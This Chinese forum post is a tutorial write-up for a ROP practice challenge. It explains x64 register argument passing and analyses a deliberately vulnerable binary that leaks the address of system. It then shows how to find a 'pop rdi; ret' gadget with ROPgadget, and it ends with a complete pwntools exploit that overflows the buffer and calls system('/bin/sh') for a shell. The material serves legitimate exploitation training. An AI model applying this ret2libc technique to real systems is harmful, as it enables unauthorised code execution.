-
-
[原创]蒸米ROP level 4 - 使用ROPgadget寻找gadgets
-
发表于: 2024-5-9 13:06 5490
-
1.环境
ubuntu1~16.04.12
pwndbg
python
2.目标
学习x86和x64的栈溢出的区别
3.流程
3.1 x86和x64传参问题
x86是栈传参,x64是寄存器传参按顺序RDI、RSI、RDX、RCX、R8 、R9(寄存器不够会拿栈传参)如下面代码块,在计算栈溢出的时候需要额外加8
x64
1 2 3 4 | mov edx, 1101b ; n mov esi, 4008C1h ; "Hello, World\n" mov edi, 1 ; fd call _write |
X86
1 2 3 4 | mov dword ptr [esp + 8 ], 0Dh ; n mov dword ptr [esp + 4 ], offset aHelloWorld ; "Hello, World\n" mov dword ptr [esp], 1 ; fd call _write |
3.2 分析程序
1 2 3 4 5 6 | [ * ] '/home/giantbranch/pwn/ROP_STEP_BY_STEP/linux_x64/level4' Arch: amd64 - 64 - little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE ( 0x400000 ) |
没有system函数需要去libc.so程序里寻找
1 2 3 4 5 6 | int __cdecl main( int argc, const char * * argv, const char * * envp) { systemaddr(argc, argv, envp); / / 打印出System的地址 write( 1 , "Hello, World\n" , 0xDuLL ); return vulnerable_function(); / / 漏洞函数 } |
systemaddr 打印system函数地址
1 2 3 4 5 6 7 8 9 10 | int systemaddr() { void * v0; / / rax void * v2; / / [rsp - 8h ] [rbp - 8h ] v2 = dlopen( "libc.so.6" , 1 ); v0 = dlsym(v2, "system" ); / / system获得地址 printf( "%p\n" , v0); return fflush(stdout); } |
vulnerable_function()漏洞函数
1 2 3 4 5 6 | ssize_t vulnerable_function() { __int64 v1; / / [rsp - 80h ] [rbp - 80h ] BYREF return read( 0 , &v1, 0x200uLL ); } |
128+8才可以覆盖到rbp栈底,因为x64得把寄存器算进去
运行程序
1 2 3 | giantbranch@ubuntu:~ / pwn / ROP_STEP_BY_STEP / linux_x64$ . / level4 0x7fc10a2b23a0 Hello, World |
0x7fc10a2b23a0 就是systemaddr打印的system
的内存地址。
3.3 解题思路
systemaddr
函数是会打印system
地址可以使用这个地址减去libc.symbols['system']
得到libc的地址
由于程序里没有system函数所以可以通过libc.so里找到system函数和/bin/sh
得到后不能直接使用。
- 需要使用
libc.symbols['system']
-/bin/sh
得到system到相对/bin/sh
偏移量. - 之后在使用systemaddr输出的地址减去system到相对
/bin/sh
偏移量就得到了/bin/sh
的内存地址,以此类推就可以得到所需的内存地址 - 在使用system函数x64不能像x86栈传参,需要通过寄存器传参system函数只有一个函数传入rdi寄存器就行了。
获得POP_rdi_ret0x0000000000021112
1 2 3 4 | giantbranch@ubuntu:~ / pwn / ROP_STEP_BY_STEP / linux_x64$ ROPgadget - - binary libc.so - - only "pop|ret" | grep rdi 0x000000000002026b : pop rdi ; pop rbp ; ret 0x0000000000021112 : pop rdi ; ret 0x00000000000674a9 : pop rdi ; ret 0xffff |
获取libc.so
1 2 3 4 5 | giantbranch@ubuntu:~ / pwn / ROP_STEP_BY_STEP / linux_x64$ ldd level4 linux - vdso.so. 1 = > ( 0x00007fff48b5f000 ) libdl.so. 2 = > / lib / x86_64 - linux - gnu / libdl.so. 2 ( 0x00007f8363faa000 ) libc.so. 6 = > / lib / x86_64 - linux - gnu / libc.so. 6 ( 0x00007f8363be0000 ) / lib64 / ld - linux - x86 - 64.so . 2 ( 0x00007f83641ae000 ) |
1 | cp / lib / x86_64 - linux - gnu / libc.so. 6 libc.so |
3.4 脚本编写
解析文件
1 2 3 | p = process( './level4' ) elf = ELF( './level4' ) libc = ELF( './libc.so' ) |
获得systemaddr 输出并获取偏移量
1 2 3 4 | system_addr = int (p.recvuntil( '\n' ), 16 ) print ( "System_addr={}" . format ( hex (system_addr))) str_bin_sh_offset = next (libc.search(b '/bin/sh' )) - libc.symbols[ 'system' ] pop_ret_offset = 0x0000000000021112 - libc.symbols[ 'system' ] |
计算内存偏移量获取PopRdiret内存地址
1 2 | StrbinSh = system_addr + str_bin_sh_offset PopRdiret = pop_ret_offset + system_addr |
构造payload
1 2 3 | payload = b 'a' * 136 + p64(PopRdiret) + p64(StrbinSh) + p64(system_addr) p.send(payload) p.interactive() |
4.Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | #coding=utf-8 from pwn import * p = process( './level4' ) elf = ELF( './level4' ) libc = ELF( './libc.so' ) system_addr = int (p.recvuntil( '\n' ), 16 ) print ( "System_addr={}" . format ( hex (system_addr))) str_bin_sh_offset = next (libc.search(b '/bin/sh' )) - libc.symbols[ 'system' ] pop_ret_offset = 0x0000000000021112 - libc.symbols[ 'system' ] StrbinSh = system_addr + str_bin_sh_offset PopRdiret = pop_ret_offset + system_addr payload = b 'a' * 136 + p64(PopRdiret) + p64(StrbinSh) + p64(system_addr) p.send(payload) p.interactive() |
赞赏
他的文章
赞赏
雪币:
留言: